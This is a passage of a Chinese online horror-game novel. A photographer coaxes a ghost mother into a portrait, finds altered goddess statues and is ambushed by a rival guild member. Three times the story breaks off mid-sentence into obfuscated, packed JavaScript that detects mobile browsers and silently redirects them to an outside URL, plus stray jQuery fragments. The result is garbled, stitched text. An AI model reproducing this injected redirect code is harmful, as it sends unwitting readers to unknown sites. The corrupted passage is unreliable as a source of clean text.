是不知名公会的伙伴来了! 苏意虹指方向,邱义卸窗户。不到半秒钟,齐檎丹面前就多了一条通道。 邱勇则运用个人专属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙光祖用在齐檎丹身上的诅咒道具,能在短时间内改变齐檎丹的体质,让她成为鬼怪们最渴求的甘美食粮。但是,这个诅咒是有时限的,而且即将过期,要是这一回没有害死齐檎丹,这道具就白白浪费了。 “齐檎丹呢?她的尸体怎么没在神殿里?”孙光祖焦急地张望,把拳头的骨骼捏得咯吱乱响。 他迫切地想要得到一些好消息。 可那没眼力见的独眼龙,汇报来的情况,却让孙会长怒意更甚:“不止齐檎丹,那四个不知名公会的人,也不知去向。” 孙光祖险些两眼翻白,手指狂掐人中。 不仅他们主要对付的齐檎丹找不着了,连能要挟齐檎丹的不知名公会会员,也全部跟丢了。 还有比这更糟糕的事吗?没有! “无能!废物!我辛辛苦苦建起的王座公会,怎么就养出了你们这一群垃圾。” 孙光祖暴跳如雷,挥舞着拳头发号施令:“花婆庙的门被堵上了,他们现在一定还在庙里。你们赶快全部给我去搜!都给我分散开来,搜!” 他孙光祖活要见人,死要见尸。 82. 骨肉繁花9 别的不说,孙光祖搜寻的思路是没错的。齐檎丹和她的不知名公会,确实没有离开花婆庙。 此刻,他们正躲在庙里一间厢房里,在这没有壁画的空间里秘密聚集。 这个地方是齐檎丹挑选的,原因有三点。这厢房只是个普通仓库,不受重视,里面堆满了杂七杂八的老旧物件,好藏身。而且距离神殿也不是很远,不会浪费太多时间在路程上。以至于被人发现。 更重要的是,这仓库里面,全堆满了被替换下来的旧的花婆神像。这些神像大小不一,但绝大多数都有一人高,把似人非人带来的恐怖谷效应,发挥到了极致。 当冷不丁瞥见,那一张张长相相似,造型相仿的脸,都幽幽盯着人看时,那股脊背发凉的阴森非常带感。 让齐檎丹下定决心,要在这里取景。 找好了拍摄背景,自然也少不了作为拍摄主体的模特。 “绑好了。”邱义找了根柱子,把他们费了九牛二虎之力,才从壁画里拽出来的怪手,用绳子五花大绑了上去。并出于谨慎起见,给绳子多打了几个死结。 那怪手……不对,现在齐檎丹已经意识到,不应该再这么称呼它了。 被完全拽出壁画后,怪手已显出人形。 现在的它,恢复了遇害前穿着衬衫和牛仔裤的模样,连那长得不像话的手臂,也缩回了正常的人类手臂长度。只是,她的面部已然被一朵巨大的花朵取代。这朵妖异诡谲血红的花朵,是这个女鬼和普通女性最不一样的地方。 看似柔弱无助的花瓣,从她血肉中生长而出,将五官悉数取代,只留下些最基础的视听感知。 她因花而死,死后却摆脱不掉花。 令人同情唏嘘。 唏嘘归唏嘘,齐檎丹手上的动作却没停止。反光板、方形柔光箱、LED常亮灯、束光筒、色片……各种各样拍摄可能用到的灯具和道具,被齐檎丹一个个从系统背包里扛出。 没过多久,厢房里已经堆满了摄影装备,还有供电用的电池。 齐全到连女鬼都恍惚。 不是……这确定是在副本里吗?她怎么觉得,这里更像是专业的摄影工作室? 苏意虹目瞪口呆了一会儿,赶紧冲过来帮忙布置:“天呐,怎么这么多!你这是把你工作室里那些灯光和道具,都搬进来了吗?” “差不多吧,”齐檎丹把灯具搬来搬去地调整,忙活得不亦乐乎,“反正我进副本也是要拍照的,工作室里这些好用的东西,不带白不带。” 反正现在,女鬼模特刚好被绑在柱子上,动不了,正好适合她测光。 齐檎丹用的是常见的三点布光法。 先放一盏背景灯,为众多废弃神像形成的背景染上适合的色彩。再在女鬼模特的侧后方,用一盏冷光灯打亮发丝,勾勒出模特的外轮廓,将其与背景拉开差距。最后,千万不能漏了前侧方作为主光源的LED灯,还有充当辅光源的辅助灯…… 当齐檎丹在其他人的帮助下,最终将灯光与背景布置完成后,邱勇忍不住小声赞叹:“好看,真好看。” 摄影是用光的艺术。这一屋子神像,邱勇本来还没觉得有什么,可是一加上氛围光的烘托,那股阴测测的诡异感,立刻从神像一张张剥落掉漆的面孔上冒了出来,直逼骨髓,差点把他仅剩不多的理智炸成糨糊。 让人害怕,但害怕的同时,又忍不住还想再多看一眼。 “这就好看啦?还有更好看的呢!”苏意虹笑着开口,多年的友谊,让她对齐檎丹的水平极有自信。 但齐檎丹的后续动作,被突然蹦出的系统提示打断了。 【恭喜,第一个任务已完成!】 【奖励积分+50】 因为抽签时抽到了花签,齐檎丹的任务1完成得比其他人晚些。她收了任务完成奖励的积分,却意识到这消息的到来,并不是什么好事。 因为这表示着,假花婆已经把神殿的门打开。所有人现在都知道,齐檎丹逃脱了。花婆庙的占地就这么一块,不算很大,只要搜得仔细点,找到他们就只是时间问题。 他们如果要做什么,一定要加快速度。 厢房里,背景的感觉已经到位,女鬼也已被光线衬托得突出。但现在距离拍摄,还差最关键的最后一步—— 她本次拍摄的模特,还没有进入状态。 这需要她引导。 齐檎丹看了一眼左手小臂,之前诡异狰狞的黑色符文已经消散。这个吸引鬼怪的诅咒消失之后,连那绑着的女鬼对她的态度,都明显少了点热情。 要想重新调动起这个模特的情绪,估计需要一点其他的刺激。 齐檎丹本来还想用刀威胁鬼怪,简单粗暴地逼鬼怪说出鬼生经历,再根据经历,选取适合她的刺激元素的。但看到女鬼手上那根系着红绳的玉石后,齐檎丹改变了想法。 齐檎丹将手背到身后,用藏起来的创世宝珠制造出幻象。 空间里,响起了婴儿的啼哭。 女鬼先是一怔,然后对这哭声表现出了极其大的反应。她剧烈挣扎了起来,转动着脑袋,疯狂而急切地寻找着婴儿的踪迹。 齐檎丹没有猜错,女鬼的执念确实是婴儿。她控制宝珠停下了哭声,女鬼焦虑的情绪才慢慢缓解:“我刚刚仔细看了一下,你手上戴着的,不是普通的玉饰,而是你给孩子祈求平安的玉质长命锁,对吧?” 这个女人起初进花婆庙,应该是为了给孩子祈求平安的。因为担心孩子的长命锁丢失,她效仿手链的戴法,将其绕圈戴在手上。 即便到被拖进壁画里,气绝而亡,她也没有解掉这条长命锁。 她还心心念念着她的孩子。 女鬼别开头,不愿接话。齐檎丹却发现,说到她孩子的时候,女鬼脸上的花瓣十分轻微地颤动了一下。 那两片花瓣的位置,本该是眼睛。 她在强忍着什么。 只要有反应,就有用。齐檎丹自如地和她套起近乎:“你也是从外地来的吗?我猜,你来的那一天可能在下雨。雨天路滑,来镇上的山路更不好走,你的牛仔裤上溅了不少的泥点子。但你孩子的病情,让你顾不了这么多。” 哪怕女鬼一句话也没有告诉她,齐檎丹也仅凭推理,大致还原出了女鬼死前的行动轨迹。 仿佛对女鬼的过往经历,了如指掌。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313924|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“考虑到你是一个细心的照料者,你孩子的病恐怕是先天性的,不好治。你四处求医问药却没有结果,最后只能向上苍祈求,想求神佛保佑,救救你孩子的命……” 花婆是儿童的保护神,本来求花婆保佑,也算是专业对口。 但,女鬼运气不佳。 没有求到真花婆,反倒拜了这里的假神殿,被不怀好意的伪神收割了性命。 女鬼的经历和痛处,都被齐檎丹说中了。女鬼想张口,却发不出声音——她的五官融进了花瓣当中,只剩下一点微弱的视听还未被剥夺。她只能连连点头,脸颊的花瓣上,不停有露珠滚落,像极了哀痛的泪。 知道了女鬼这个模特的心病,再去想如何调动她的情绪,就好办多了。 齐檎丹就地取材,用她在这个仓库里找到的布料,做了个空无一物的襁褓:“把你孩子长什么样告诉我吧。虽然你可能没法回去了,但也许我能想办法,让你再见他一面。” 女鬼颔首同意。她无法开口言语,又被绳索紧紧绑着,做不出大动作,只能靠点头和摇头来跟齐檎丹交流。 每确定一项外貌特征,齐檎丹就使用幻象,在襁褓里捏出婴孩的一部分。 等到沟通完毕,婴孩便已塑造完成。 那由幻象塑造出的婴儿才不过几个月大,比同龄的孩子瘦小一圈,水润润的皮肤吹弹可破。他乖乖躺在襁褓里,含着手指安然酣睡,跟女鬼为了祈福而离家前看到的,一模一样。 女鬼只看了那婴儿一眼,目光就再也没舍得挪开。她浑身因激动而颤抖不止,哪怕束缚她的绳索那样紧绷,都没能让这颤抖稍微减轻。 齐檎丹道:“可以把绑她的绳索解开了。” 邱义有些犹豫:“这……” 邱勇:“放心吧,哥,我们几个都在这儿,不至于出大乱子的。” 绳索委地的那一刻,在场无一人敢放松。然而,重获自由的女鬼没有攻击任何人,也没有试图逃脱,她所做的,仅仅是从齐檎丹手里迫不及待地抢过孩子,紧紧抱住了那襁褓里的婴孩。 婴儿看到母亲,仰起小脸甜甜笑开,双颊旋出两个浅浅的酒窝。 母亲的泪水却落了下来。 划过脸庞。 完美的时机,完美的情绪,完美的布景和光影。 齐檎丹站到她提前预留出的机位,赶在女鬼眼泪漫出眼眶的那一刹,按下了快门。 照片封存下了那一滴泪光,并在泪光闪动间,裹挟着模特那哀痛与喜悦交织的情绪,落进一张薄薄的相纸。 因为“照鬼相机”不允许作弊,考察员自己制造出来的幻象,并不会被收进相片之中。因此,女鬼怀里的婴儿消失了,只剩下一个干瘪的空襁褓。而女鬼的脸上,却还保留着,哪怕在主要展露表情的五官被取代后,也抹不除的悲痛和母爱。 襁褓的空和情绪的满,形成了强烈的对比,却没有成为照片的瑕疵。 反而使得照片的悲剧色彩,更加浓烈而深刻。 拍摄一结束,苏意虹立刻捂着狂跳的心脏,扑了过去:“怎么样怎么样?成功了吗?” 齐檎丹笑着把照片一递:“你看。” 83. 骨肉繁花10 苏意虹低头看去,一瞬间忘却了呼吸。 不是因为这张照片展现出的震撼力,太过直击人心——事实上,齐檎丹拍出多美的照片,苏意虹都不奇怪。 真正使她震惊到的,是照片道具右上角,那金光闪闪的等级标识。 SS级! 居然SS级! 而且相较于其他SS级的照片道具,这张照片道具周围,还多了一圈鎏金的边。金灿灿的,仿佛在彰显着它与其他照片的不同。 只是一个什么都算不上的小怪,竟也拍摄出了SS级的照片道具。这简直颠覆了苏意虹的认知。 苏意虹虽然曾经不止一次地,见识过齐檎丹使用“照鬼相机”技能,但以往,只有在齐檎丹达到100%的剧情解锁度后,拍摄的对象又是副本的核心人物时,照片道具才可能达到SS级这么高的等级。 这次能有突破,真是太好了! 苏意虹激动地化身提问机器:“你是怎么想到,拍这些小鬼怪,也能达到这么高等级的啊?” “我原本也以为,要拍出比S级更高等级的照片,100%剧情解锁度和拍核心角色这两个条件,缺一不可,”齐檎丹说,“但,升级时的提示说,‘照鬼相机’的拍摄范围扩大了。而且拿着升级后的‘照鬼相机’,我从里面感受到了,前所未有的丰富的能量。” 这种能量涌动着,引诱着她去拍摄,去关注那些不起眼的小鬼怪。 这让齐檎丹开始思考为什么。 齐檎丹很早以前就意识到,剧情解锁度和照片等级的关联了。之所以剧情解锁度满了之后,再拍摄核心角色能拍得更好,是因为剧情解锁度是与核心角色的经历相关的。剧情解锁度满了,说明她对核心角色有了最充分的理解。 这一环节,相当于拍摄人像写真时,与模特的磨合。 磨合具有必要性,是照片质量的保证。手拿相机的人,需要知道模特最适合哪一种风格,哪个角度最美,哪个动作最生动,并尽可能地调动对方的情绪,使尽快其进入拍摄状态。 副本里,鬼怪就是模特。 齐檎丹但凡想拍出更好的照片,就需要了解它们,走近它们。 不仅对副本核心角色是这样,对分布在副本里的大小鬼怪,也是如此。只是,小鬼怪的故事,在副本的主线剧情里无足轻重,无法将剧情解锁度作为了解程度变化的依据,了解小鬼怪的途径也更少…… 但只要作为摄影师的她,给予更多了解的耐心,想拍出好照片并不是问题。 齐檎丹说完这些,转头一看,厢房里却已没了女鬼的身影。 只有襁褓里的婴孩安静地睡着。 婴儿没有啼哭,说明女鬼离开前做的最后一件事,是轻柔地放下了装着婴儿幻象的空襁褓,没有让幻象模拟出的婴儿感到丝毫不适。 “她消散了。”邱勇说,“壁画里的怪手本身没有怨气,不属于厉鬼,只能依靠壁画提供的能量维持鬼怪形态。离开了壁画,她本来就没办法存在太久。” 被困在壁画里,虽然维持了鬼魂形态,却也是浑浑噩噩,身不由己。 如今,女鬼见孩子一面的执念已经消散。 她可以不留遗憾地离开了。 . 拍摄圆满落幕,齐檎丹挥手驱散了创世宝珠制造的幻象,再次看向了这张SS级照片道具。 不同于以往四五个字的起名方式,这张照片道具,被系统命名为“幻婴”。齐檎丹很喜欢这个名字。“幻婴”这个名字看似简单,却可以解读出双重意思,婴儿既是摄影师制造出的幻象,也存在于女鬼母亲日思夜梦的幻想。 齐檎丹小心地将照片道具“幻婴”收起——却不是收到自己的系统背包里,而是存进了公会的库房。 “我想试试‘照鬼相机’拍摄获得的照片道具,是不是不止我一个人可以用。”齐檎丹解释。 一般存入公会库房的道具,只要有会员使用贡献点兑换出来后,都能够正常使用。 然而,考虑到照片道具的性质比较特殊,只有依靠她的“照鬼相机”技能,才能够产出,因此在这一点上,齐檎丹并没有十成十的把握。 还是试一试比较好。 齐檎丹把新得到的照片道具放库房里后,立刻马不停蹄地开始收拾拍摄现场。 这不是一个小的工程。因为除了齐檎丹用上的灯具和道具,要通通收回她的系统背包里以外,厢房里被挪动过的神像和其他布置,他们还得全部归位还原。这么收拾起来,当真得费些时间。 苏意虹刚帮着复位了几座神像,眉心便突然蹙了起来。 她停下动作,绕着这个堆满神像的厢房端详了一番,而后轻轻扯了扯齐檎丹的衣袖:“齐檎丹,你有没有觉得这些花婆神像的脸……长得都有点男相?” 苏意虹化妆的业务范畴也包括了男人的妆造,当化妆师的经验积累,让她对不同人脸上的细节差异,相当敏锐。 作为女性神像,好几尊花婆像面部的骨骼感都太强了,直线条也多。 整体的面部轮廓,趋近硬朗。 不像女性塑像。 生理构造上的差别,使得男女的颅骨略有差别,人体的体脂率也不同。 通常情况下,男性体脂占比为15%至20%,女性的则高达25%。这两方面的差异,容易影响面部的容貌。 况且,花婆不仅是个女人,还是个老年妇女,身材正常甚至有点微胖。即便没有将女性身躯线条柔软化的艺术处理,直接以女性颅骨特征、稍高的体脂率,再加上老年妇女皮肉松弛的特征,最终在神像上呈现出来的,怎么着也不应该是这幅模样。 苏意虹说着,把齐檎丹拉到其中一尊神像前:“你看这一具神像的下巴,居然还有淡青色的胡茬。” 女人才不会长胡茬呢! 苏意虹最开始发现这一点,是在花婆庙神殿的那一座神像上:“我本来以为,大殿里面那具花婆神像,造型与男性相似,只是一时巧合,或者我看走了眼。” 但仓库里这么多花婆神像的造型,全部都与男性相似,绝对不仅仅是碰巧这么简单。 这是一点很重大的新发现。 齐檎丹隐隐感觉到,这很可能是撬动剧情解锁度的关键。 按理说,看盆骨是判断性别的最直观的方法,然而,这放在这些神像雕塑上并不适用。由于衣裳的遮掩,雕塑神像的匠人根本用不着雕出盆骨,单凭胡茬、喉结这些特征,已完全指明了性别。 他们在神像上加这些,是故意的,故意想要模糊花婆的性别。但根据镇上居民对花婆崇敬不已的态度,贸然篡改花婆神像,指女为男,绝对是大不敬的行为。 引发上百名信徒的敌意都是轻的,就算被围殴也不奇怪。 问题随之而来—— 是谁,给了这些匠人这么改的胆子?神像的改动,又是从什么时候开始的? 齐檎丹打算先从时间问题上入手。 她盯着那几具问题格外明显的花婆神像,看了一会儿,发现它们的共性。这些神像,都具备还算鲜亮的色彩。 齐檎丹突然来了想法。她当即跟打鸡血一 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这种篡改花婆神像的过程是渐进式的,如同温水煮青蛙一般,慢慢哄骗着信众接受。 被改动后的男性化神像,长得多多少少有些相似。每一尊男性化的花婆神像上,都具备一模一样的,极其特殊的特征。 “它们额头上同样的地方,都点着三颗痣。”齐檎丹道。 那三个墨点极小极隐蔽,要不是齐檎丹打着手电筒一照再照,根本发现不了。 “这神像上的花婆形象,是匠人参考同一个男人改造的。” 齐檎丹暗暗心惊:“塑造神像的匠人受人指使,在不能让人很快看出来的情况下,逐渐地,将原本是女性的花婆神像替换为那个男人。这样,信徒们连年的香火供奉,就不再归到花婆那里,而是……记到了这个有着三颗痣的男人名下。” 盗窃人们对花婆的信仰之力,别有用心地把他自己扶上神坛。这是怎样一种恶心的行径。 那个男人分明是一个窃贼,一个小偷。 【已解锁新剧情。奖励积分+150】 【剧情解锁度:45%】 齐檎丹感觉胃袋里像塞满冰块,沉甸甸的反酸。 由于这一部分解锁的剧情,很大程度要依赖苏意虹眼尖的发现,因此齐檎丹将所收获的积分,大半都划拨到了苏意虹的账户里。苏意虹有样学样,也把剩余的积分上交给了公会库房。 这些积分充公后,成为了可以被用来随时补充生命剩余值的公会共享积分,表示他们至少在这一段较长的时间内,不再需要生命剩余值的耗尽犯愁。 这是好事情。 但残酷的现实,没打算给不知名公会庆祝的机会。 “砰——” 大门被踹开的声音传来。 这一次,声音距离他们极近,显然就在隔壁。 仅凭声音,齐檎丹没办法判断被踹开的,是哪一扇门。 可能是距离他们这间厢房最近的那一扇门,也可能还隔着一小段距离。但无论实际上是哪种情况,都意味着,被踹开门搜查的,很快就会轮到他们藏身的厢房。 但齐檎丹还有最后一件事情,需要查看。 “一,二,三,四,五……”她飞速数着这些神像的数量,“一共有十五具神像,被改动过。” 数明白问题神像的数量后,只要知道花婆庙每隔多久换一次神像,他们就能推知,这些花婆神像究竟是从何时起出了问题。 84. 骨肉繁花11 “砰——” 又是一声巨响传来 这一次,王座公会的人,把鞋底踹到了他们厢房的门上。 即便邱义早已经未雨绸缪地推上了插销,这凶狠有力的一脚,还是让木质的插销上,出现了一道深深的裂缝。 邱义和邱勇兄弟俩一瞬间冲了上去,用身体堵住了被踹得岌岌可危的房门:“我们把门守住,你们赶紧去把神像的顺序重新打乱。”当然,如果能把废弃花婆神像的位置,按照最初的摆放还原最好。 只不过,他们现在已经没有那么充裕的时间了。 齐檎丹这回,算是悟到了自作自受的道理。她没好意思让苏意虹干太多话,把神像按时间顺序排是她提出来的,现在打乱位置的时候,最受累的同样也是她。 然而,当她在苏意虹的帮助下,终于把废弃神像的顺序打乱,气喘吁吁地靠在旁边的柱子上缓神时,她突然意识到—— 挪动神像的这么久时间里,她迟迟没有听到,厢房这扇半残废的门,被人踹第二脚的声音。 门外头居然没了动静。 齐檎丹偷摸着把耳朵贴在厢房的门上,凝声屏气,侧耳倾听,却什么都没有听到。 难不成,王座公会的那群人走了?齐檎丹满腹狐疑。 但这怎么可能?王座公会的孙光祖会长心眼比针尖还小,做梦都想把她碎尸万段,又怎么可能明知她在厢房里,却把她轻轻放过? 这里面,一定有诈。 . 齐檎丹猜得不错,王座公会的人确实没有走。但,她依然是听不见外面的声音的,因为孙光祖使用了道具“静音咒”。 以黄纸为底、朱砂绘制的“静音咒”,漂浮在半空中,张开一方结界,把王座公会的所有人全部笼罩在里面。这静音结界,掐灭了外界听到他们谈话的可能性,大大方便了孙光祖站在结界的最中心,大声密谋。 “哈,齐檎丹居然活着出来了。”孙光祖嘴角下拉外翻,做出了一个明显的厌恶表情,“人好端端的,就连相机也没被毁掉。” 孙光祖说到相机那里时,狠狠乜了独眼龙一眼。 这句话挖苦的是谁,十分明确。 “是我辜负了您的信任。”独眼龙攥紧拳头,默默把头埋得更低。很难想象,这个皮肤黝黑,浑身散发着凶悍戾气的人,居然在孙光祖面前,会被训得跟条丧家之犬一样。 不过,周围的人对此已经见怪不怪,毕竟王座公会里就是这样畸形。孙光祖是王座公会里的“土皇帝”,不懂得对孙会长卑躬屈膝的人,就不可能得到被培养成高等级考察员的机会。 甚至,会被变本加厉地掠夺资源。 最后受压迫而死。 ——除了当年被坑进来的顾斩风,以及他的小队。在王座公会里,他们是绝无仅有的例外。 但其他会员并不嫉妒他们。因为这些会员多少都听说过,顾斩风他们在签约王座公会前,是怎样的意气风发,也意识到,孙光祖为了拴住这样一群人,使用的是一份怎样恐怖的合同。 想要将本该展翅翱翔的鹰隼,收为己用,有许多种手段。 但,孙光祖选择了最下作的一种。 没有使之甘愿臣服的能力,孙光祖就用龌龊的手段,进行拐骗与逼迫。 他砸烂鹰的骨骼,剪去鹰的翅膀,把昔日遨游青天的骄傲,用鞋底碾进尘土。 孙光祖希望这只鹰隼,能如刍狗般卑微地屈服于他脚下,却因为顾斩风他们的能力与影响力,不得已多了几分忌惮。要想依仗顾斩风的小队,将这张王牌纳入囊中,孙光祖就没办法像迫害普通会员一样,迫害他们。 这在暂时保护了顾斩风及小队的同时,也使得孙光祖更为窝火。 他时时刻刻,都想着找补回来。 就比如现在。 孙光祖斜睨了一眼旁边神情冷淡的顾斩风,再一次心生不快。这王座公会里,也就只有顾斩风,敢给他脸色看。 “毁不掉相机也行,那就把齐檎丹的手臂给废了,”孙光祖话说一半,假装漫不经心地看了顾斩风一眼,大声说道,“就算相机还在,没了双手,她依旧拍不了照。” 直到这一句话全部说完,他都没在顾斩风脸上,看到一点变化。 很好。那道具很好用。 被使用了道具的顾斩风,已经完全忘记了齐檎丹。 孙光祖对此非常满意。这个道具效果好得很,价格也昂贵得很,他在这个道具上,可是砸了血本的。不管顾斩风能力再怎么高强,道具的作用也要等他出副本后,才会随之解除。 孙光祖高高仰着下巴,带着股得意的狠劲,继续往下说:“断手断脚只是最基本的,都给我出全力,想方设法弄死她。要是这一个副本下来,齐檎丹还安安稳稳的,就当心着点你们自己的脖子吧!” 话罢,他做了个抹脖子的姿势,眼底一闪而过的点点凶光,令人胆寒肝裂。 这凶光,旁边的会员不一定看得清。 但高清怼脸拍的考察直播,却让直播间里的观众们,对此看得一清二楚。 群众的眼睛是雪亮的。会长孙光祖眼底的这点细微反应,立刻在孙光祖的直播间里,引发了绝对算不上细微的波澜。 几乎只在下一刻,就一连涌现出了好几条反应强烈的弹幕。 “好家伙,我直呼好家伙。不知名工会那边在提供积分和道具,努力保证会员的人身安全,王座公会这边,居然在威胁会员的人身安全?” “不仅货比货得扔,公会比公会也得扔了。这么一对比,真是高下立分啊。” “不知名公会好,那也得你有命享受啊。就这么个小公会,在副本里分分钟就被碾死了。要我说,还是加入王座工会这样的大公会,有人保驾护航靠谱。” “那确实,我就不信不知名公会能活下来。” 支持不知名公会的人不说话了。 这两个公会的实力一边倒,是不可否认的事实。 凭借王座公会的实力,对不知名公会简直是碾压级的,即便他们佩服不知名公会的勇气,欣赏不知名公会善待会员的方式,却仍然很难对不知名公会燃起信心。 再说了,王座公会对待他们的会员,一直都是这个态度,以前和现在并没有发生多大差别。 只是现在,见到了不知名公会这个对照组后,一切突然间变得难以忍受了起来。如果能够堂堂正正的站着活,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346265|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人愿意给人当狗。 守在孙光祖直播间里的人,悄无声息地离开了几个。尽管还是押宝王座公会的人数量多,但敏感的人已能感觉得出,原本舆论完全向王座公会一边倒的风向,发生了一丝极其细微的松动。 王座公会不再向他们一开始时的那样,占尽观众好感上的优势了。 因为任务失败刚被孙光祖讽刺的独眼龙,一听说有下一步行动指使,立马双手抱拳,跳出来表忠心:“会长,请让我去吧。我一定将功抵过,一定不会再辜负会长的信任了。” 独眼龙殷勤自荐,孙光祖却冷笑了一声:“用不着。” 这一次,他另有人选。 孙光祖的手在空中虚抓了一把,手里,幻化出一份合同。这便是当年,他利用不义手段,和顾斩风小队签下的那份合同的虚影。 “顾斩风,还记得你和你小队的合同吗?”孙光祖捏着那份合同,脸上满满是小人得志的猖狂: “我让你办的事,你没有拒绝的权利。” 孙光祖已经禁不住开始好奇,在道具的作用下,变得冷酷无情的顾斩风,在知道自己亲手折断了齐檎丹的双臂,导致齐檎丹因为残废而葬身副本里后,他会是怎么样一副反应呢? 一定一定很有趣吧。 . 见守在外面的王座公会迟迟没有过来的意思,邱义短暂地将堵门的任务交给了弟弟,故技重施,撬开了厢房的窗户。 不过,这一次撬窗户轻松了太多。因为窗子没被焊死,邱义只需要撬锁。 邱义把就地取材找到的铁丝,捅进锁芯里转了几下,锁住窗子的锁被很快打开——很难想象,邱义这样一个老实守规矩得有点懦弱的人,居然会对撬锁这样的事情如此擅长。 邱义看了看外面,虽然窗户和门的位置没差太多,但朝向有点差别: “走窗户吧,总比出门直面那些人好些。” 齐檎丹也认同。 到底孙光祖肚子里的坏水还是多,多到让齐檎丹感觉,晃荡一下都能听到水声。 被他坑过一次的齐檎丹心很累。像孙光祖这样阴险狡诈的人,能避开自然最好不过。谁知道,在遇上他的时候,他装在肚子里的坏水,正在酝酿着什么阴谋诡计呢。 齐檎丹光知道,遇上了会被坑。但她没想到,不遇上,也能被坑。 只是一瞬间的时间。 齐檎丹翻窗,再回头,不料厢房的窗里,已不见了不知名公会的其他人。 这不对,王座公会又使了什么阴招…… “苏意虹?邱义?邱勇?”齐檎丹先后喊出了三人的名字,均无回应。然而,齐檎丹并不因此感到太过心慌,因为如果不知名公会的会员出事,她这边必定会收到提示。 所以只有可能,是某种道具的使用效果,强行把她和另外三个人分隔开了。 又是王座公会! 王座公会是什么阴湿女鬼吗?这么阴魂不散! 齐檎丹烦得牙根痒痒。她猛然回头,果然发现,身后多了一个熟悉的来客。那双眸子,冰冷得能让心底结霜。 齐檎丹的语气变了,她眼皮轻抬:“顾斩风,我真没想到,这次来的人会是你。” 85. 骨肉繁花12 顾斩风一贯不是爱多废话的人。 只在他手指抬起的那一瞬间,齐檎丹立刻感受到了杀意。刻在基因里的本能,让齐檎丹迅速作出了反应—— 躲! 风刃擦过脸颊,带起刀割般尖锐的剧痛。第一道风刃划过后,还有成千上百万道跟在后头。 万一真被这些风刃命中,就算不是千刀万剐,也是万箭穿心。 但她没有往后躲,更没有闪到旁边。 生死关头,齐檎丹做出了一件能让人惊掉下巴的事情。 她竟然胆大包天到往前一步,向顾斩风贴近过去,仿佛并未意识到,顾斩风才是那个对她施展风刃的危险分子。 齐檎丹的反应救了她自己。 “轰隆隆——” 身后天崩地裂般巨响。 齐檎丹背后的整整一排厢房,顷刻,在风刃的绞杀下四分五裂,被斩得稀碎。破坏程度,不亚于一场毁灭级的小范围地震。 土石纷飞间,齐檎丹缓缓回头,待看清风刃的攻击轨迹后,她后背瞬间沁出了一片冷汗。这风刃来自四面八方,基本上她无论往哪儿躲,都逃不过。 除了正前。 顾斩风站立的位置。 那是风刃的攻击范围,唯一没有覆盖到的地方。 齐檎丹非常确信,顾斩风掌握了某种替身道具,有这种道具在手,就算真的杀了她,被系统制裁也没关系。因为,要不是齐檎丹方才躲得够快,躲的方向够正确,此刻跟花婆庙里这些厢房一起粉身碎骨的,就是她了。 厢房坍塌的巨大动静,惊动了花婆庙里上香的信徒。 他们一个个被吓得魂飞魄散、面露惊恐,可磨蹭了半天,却只敢聚集在旁边远远眺望,无一人有胆量过来查看。 精准的范围控制,令人悚目动心的攻击实力…… 齐檎丹瞳孔猝然紧缩。 这,才是顾斩风没有被系统压制过的,真正能力。 这风刃技能恐怖如斯,甚至超过了一般高等级考察员技能的水平,齐檎丹意识到,她完全无法与之对抗。眼看着顾斩风已经再一次抬起手指,控制风刃在身边凝结聚集,电光火石间,齐檎丹做出了决定。 齐檎丹抽出长刀,以迅雷不及掩耳的速度逼身上前。 她竟是要近身与顾斩风搏斗。 顾斩风从系统商店里随便买了把短刀,接下齐檎丹的全力一击:“靠得这么近,你的长刀无法施展。” 齐檎丹不甘示弱:“但你的风刃更派不上用场。” 风刃的施展需要一定距离,除了凝结风刃和蓄势的需要外,距离过近也容易误伤。这也是为什么,齐檎丹非得跟顾斩风近身缠斗不可。 距离一缩短,风刃就难用出来。 好消息是,齐檎丹及时果断的行动,帮助她避开了风刃这个顾斩风的最强长板。然而,她当前的情况,并没有好到哪里去。好消息只有一个,而坏消息有两个。 第一个坏消息是,齐檎丹所剩无几的积分,无法支撑她购买方便贴身格斗的短兵。 第二个坏消息,则更加严重—— 顾斩风的力气比她大。 平心而论,齐檎丹的体魄已经比许多打工族好了很多。摄影师这个职业,除了工作时相机不离手,抗灯具、背道具的时候也不少,再加上齐檎丹平时常出外景,运动量不小。 可是即便如此,跟一个在副本世界里历练了这么多年的人比较起来,她还是无可避免地输了一筹。 没走三两招,齐檎丹便落于下风,劣势尽显。 顾斩风从她手里夺过长刀。 一把丢开。 齐檎丹只觉得眼前一阵天旋地转,顾斩风已牢牢钳制住齐檎丹的右手,把她面对面压制在地上。 顾斩风的声音冷得像冰:“放弃吧,你根本没可能赢。” “是吗?”齐檎丹笑了一下。 明明受制于人,齐檎丹冒刺的目光里,却无端有种越过鞋底俯视人的压强。 对面剔透的茶色瞳眸里,锋芒慑人,顾斩风为此刚一分神,便觉出不对劲。低头一看,一个黑洞洞的枪口,正抵在他胸膛位置。 